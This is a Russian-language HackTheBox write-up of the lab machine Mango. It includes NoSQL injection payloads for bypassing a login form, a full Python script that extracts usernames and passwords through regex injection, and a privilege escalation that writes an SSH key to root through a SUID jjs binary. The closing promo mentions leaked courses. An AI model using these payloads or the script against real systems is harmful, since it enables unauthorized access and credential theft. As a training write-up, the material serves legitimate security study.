HackTheBox. Прохождение Mango. NoSQL инъекция и LPE через JJS

от автора

image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем NoSQL инъекцию в форме авторизации, а также повышаем привилегии через JJS.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ 🙂

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.162, который я добавляю в /etc/hosts.

10.10.10.162    mango.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A mango.htb -p22,80,443

image

Первым делом идем смотреть сайт. При обращении к mango.htb нас кидают с http на https, и говорят о проблеме с сертификатом. Если согласиться на риски, то можно увидеть эту страницу.

image

Но больше ничего интересного. В скане nmap отражена информация ssl-cert, где указан домен. Добавим его в /etc/hosts.
10.10.10.162 staging-order.mango.htb
И зайдем глянуть что там.

image

Здесь есть форма авторизации — возможная точка входа.

Entry Point

Пробуем несколько техник инъекций для обхода авторизации. И мы находим стандартную NoSql инъекцию, сравнивая реакцию на два условия: логин равен 123, пароль равен 123 и логин не равен 123, пароль не равен 123.

image

И после успешного истинного результата второго условия, получаем переадресацию на home.php. Таким образом возможна NoSql инъекция.

image

Так как на страницу ничего интересного нет, единственное что мы можем взять с данной уязвимости — логины и пароли.

USER

Давайте посмотри длины максимальных логинов и паролей. Для этого можно использовать следующие конструкции:
login[$regex]=.{length}&password[$ne]=123 — для логина (происходит сравнение по регулярному выражению для логина и отрицание неверного пароля);
login[$ne]=123; password[$regex]=.{length} для пароля.

Сделаем это с помощью burp intruder.

image

image

image

Таким образом, длина самого длинного логина — 5 символов. Проделав те же операции для пароля, узнаем, что длина самого длинного — 16 символов.

image

Так как руками это перебирать слишком долго, напишем скрипт на python. Сначала сделаем сессию для работы.

import string import requests  alfa = string.printable  URL = 'http://staging-order.mango.htb'  r = requests.session() ans = r.get(URL) r.headers = {"Content-Type":"application/x-www-form-urlencoded"}  logins = []

Далее реализуем функцию для перебора логинов. Перебор будет осуществляться с помощью следующего регулярного выражения ^name.* — таким образом мы будем вытягивать по одному символу.

def logins_find(login):     is_find = False     for char in alfa[:62]:         data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)         resp = r.post(URL, data=data)         print('login: %s ' % (login+char), end='\r')          if len(resp.history):             is_find = True             logins_find(login+char)     if not is_find:         print('login found: %s ' % (login))         logins.append(login)

И подобная функция, только уже с использованием найденного логина.

def passwords_find(login, password):     is_find = False     for char in alfa:         if char in ['*','+','.','?','|', '#', '&', '$', '\\']:             char = '\\' + char         data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)         resp = r.post(URL, data=data)         print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')         if len(resp.history):             is_find = True             passwords_find(login, password+char)     if not is_find:         print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))

ПОЛНЫЙ КОД:

#!/usr/bin/python3  import string import requests  alfa = string.printable[:-6] URL = 'http://staging-order.mango.htb'  r = requests.session() ans = r.get(URL) r.headers = {"Content-Type":"application/x-www-form-urlencoded"}  logins = []  def logins_find(login):     is_find = False     for char in alfa[:62]:         data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)         resp = r.post(URL, data=data)         print('login: %s ' % (login+char), end='\r')          if len(resp.history):             is_find = True             logins_find(login+char)     if not is_find:         print('login found: %s ' % (login))         logins.append(login)  def passwords_find(login, password):     is_find = False     for char in alfa:         if char in ['*','+','.','?','|', '#', '&', '$', '\\']:             char = '\\' + char         data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)         resp = r.post(URL, data=data)         print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')         if len(resp.history):             is_find = True             passwords_find(login, password+char)     if not is_find:         print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))     print("SEARCH logins:")  logins_find("")  print("\nSEARCH passwords:")  [ passwords_find(login, "") for login in logins ]

И, как результат, находим учетные данные двух пользователей.

image

С учетными данными успешно подключаемся по SSH.

image

У нас есть пароль от второго пользователя, но он не дает залогиниться по SSH. Пробуем локально изменить пользователя, указав известный нам пароль.

image

ROOT

Проведем базовое перечисление, с помощью скрипта LinEnum.

image

И находим программу с выставленным S-битом.

image

Проверяем JJS на пример GTFOBins.

image

Так же там представлены примеры эксплуатации. Вызвать локальный шелл не вышло. Но можно сгенерировать ssh ключи, записать публичный в /root/.ssh/authorized_keys и подключиться с помощью приватного.

image

Давайте считаем публичный ключ.

image

И теперь запишем его.

image

И теперь подключимся как root.

image

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

ссылка на оригинал статьи https://habr.com/ru/post/497912/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *